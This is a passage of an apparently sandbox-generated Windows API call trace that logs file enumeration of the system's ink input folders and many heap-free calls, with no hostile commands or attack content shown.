lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.252] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0136.252] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0136.252] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0136.253] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.253] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0136.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0136.254] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.261] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0136.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.261] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0136.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.261] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0136.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.261] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0136.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.262] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0136.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.262] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0136.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.262] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0136.263] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.263] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0136.266] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.266] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0136.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.267] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0136.343] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.343] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0136.346] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.346] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0136.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.358] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0136.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.359] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0136.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.359] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0136.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.371] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x64ac08, Size=0x10000) returned 0x3db0098 [0136.379] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.390] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.425] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.425] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.432] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.432] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0136.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0137.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0137.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0137.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0137.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0137.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0137.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0137.269] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0137.272] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0137.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0137.325] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0137.327] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0137.328] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0137.328] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0137.329] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0137.330] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0137.331] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0137.331] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0137.331] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0138.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0138.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.854] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0139.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.171] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.313] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3db0098, Size=0x20000) returned 0x3df80c0 [0139.324] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.325] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0139.327] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0139.329] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0139.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0139.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0088 | out: hHeap=0x5a0000) returned 1 [0139.397] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0139.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.716] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0139.716] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0139.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0139.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0139.926] HeapFree (in: 